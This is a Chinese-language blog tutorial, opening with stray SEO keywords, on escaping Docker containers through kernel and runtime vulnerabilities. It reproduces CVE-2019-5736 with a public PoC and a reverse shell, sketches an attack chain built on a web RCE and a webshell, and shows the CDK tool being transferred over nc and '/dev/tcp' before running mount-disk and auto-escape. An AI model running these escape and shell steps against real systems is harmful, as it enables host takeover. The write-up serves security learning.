个人网站命名的要求,百度提问在线回答问题,自己做的网站怎么用qq登入,阳泉做网站多少钱漏洞利用逃逸
通过漏洞利用实现逃逸#xff0c;主要分为以下两种方式#xff1a;
1、操作系统层面的内核漏洞
这是利用宿主机操作系统内核中的安全漏洞#xff0c;直接突破容器的隔离机制#xff0c;获得宿主机的权限。
攻击原理#xff1a;容器本质上是通过 Linux 的…漏洞利用逃逸
通过漏洞利用实现逃逸主要分为以下两种方式
1、操作系统层面的内核漏洞
这是利用宿主机操作系统内核中的安全漏洞直接突破容器的隔离机制获得宿主机的权限。
攻击原理容器本质上是通过 Linux 的 cgroups 和 namespace 提供隔离而这些功能依赖于内核。因此内核漏洞可能被用来突破隔离攻击者可以直接访问宿主机。
常用漏洞
Dirty COW (CVE-2016-5195)Linux 内核的写时复制 (Copy-On-Write) 漏洞攻击者可以通过漏洞实现提权影响宿主机。OverlayFS 漏洞 (如 CVE-2021-3493)OverlayFS 文件系统中的权限校验漏洞允许容器突破文件系统限制访问宿主机。权限提升漏洞 (如 CVE-2022-0847)又名“Dirty Pipe”允许攻击者通过文件写入操作实现提权。其它CVE-2019-16884、CVE-2021-22555、CVE-2022-0492、CVE-2022-23222等 系统内核漏洞并非 Docker 容器逃逸的“专属”利用方式而是通用的一种权限提升技术。在 Web 安全或本地提权攻击场景中内核漏洞同样可以被用来获取更高的系统权限。本章节属于云安全Docker内容因此内核漏洞的利用本文不做具体讨论。 2、Docker自身版本漏洞
Docker 本身作为容器管理工具可能存在漏洞或实现上的不足攻击者可以通过漏洞逃逸出容器环境直接控制宿主机。 常用漏洞
CVE-2019-5736
攻击者通过覆盖容器内的 runc 二进制文件可以执行任意代码并控制宿主机。
利用条件
1版本Docker version 18.09.2RunC version 1.0-rc6
2需要管理员再次进入容器触发
漏洞复现
a.首先卸载原有docker sudo apt-get purge -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras
sudo rm -rf /var/lib/docker
sudo rm -rf /var/lib/containerd
sudo rm /etc/apt/sources.list.d/docker.list
sudo rm /etc/apt/keyrings/docker.asc b.安装漏洞对应版本 apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository deb [archamd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce18.06.1~ce~3-0~ubuntuc.编译exp 项目地址 https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go 下载EXP后修改
使用如下命令进行编译EXP CGO_ENABLED0 GOOSlinux GOARCHamd64 go build main.god.准备另一台主机进行监听上传EXP到容器执行 e. 模拟管理员进入容器触发EXP执行成功反弹shell复现完毕 模拟实战
受害者搭建网站 攻击者发现存在 Spring Cloud Gateway 命令执行漏洞 发现是容器root权限 植入内存马使用哥斯拉连接 使用哥斯拉的远程下载功能下载EXP并赋予执行权限 监听、执行→管理员进入容器→成功逃逸 CVE-2020-15257
该漏洞出现在 containerd 的 CRI plugin容器运行时接口插件中。攻击者可以通过创建特定配置的容器将 cgroups控制组的 pids.max 参数设置为无效值。当 containerd 尝试写入这个值时会导致内核返回错误。这可能使 containerd 的内部机制中断从而允许攻击者进一步利用该错误实现权限提升。
利用条件 1版本containerd 1.4.3containerd 1.3.9不含1.3.9 和 1.4.3 2容器权限为root且以 --nethost 模式启动 模拟复现 a. 受害者安装的containerd版本为漏洞版本
apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository deb [archamd64] https://download.docker.com/linux/ubuntu xenial stable
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce5:19.03.6~3-0~ubuntu-xenial docker-ce-cli5:19.03.6~3-0~ubuntu-xenial containerd.io1.2.4-1 b.受害者基于以上环境搭建的网站存在struts2漏洞 c. 攻击者发现漏洞。执行命令发现是容器环境权限为容器root d.攻击者反弹shell后在受害者容器内下载CDK项目 e.后续利用搜寻教程和资料说是可以借助自动化项目CDK进行容器逃逸。但是不知道哪里出了问题该漏洞我未能复现成功猜测是各大云厂商做了安全优化一路上各种报错如果哪位大佬知道其中的缘由还望告知 自动化项目CDK
项目链接 GitHub - cdk-team/CDK: Make security testing of K8s, Docker, and Containerd easier. CDK是一款为容器环境定制的渗透测试工具在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式插件化管理。 下载/植入
在目标容器内直接wget或者curl通过公网主机nc重定向
A主机nc -lvp 999 cdk
B主机cat /dev/tcp/A主机IP/999 cdk 功能模块
Evaluate: 容器内部信息收集以发现潜在的弱点便于后续利用。Exploit: 提供容器逃逸、持久化、横向移动等利用方式。Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。
使用测试
以特权模式启动一个容器 在容器中下载CDK 信息收集
./cdk eva
发现特权模式 特权模式利用 ./cdk run mount-disk 使用自动逃逸也是没问题的 ./cdk auto-escape id Ps该项目还是很强大的经测试特权模式、危险挂载均可以检查并利用师傅们可自行测试 结尾
至此Docker安全问题分析结束下一篇开始讨论容器编排工具k8s的安全问题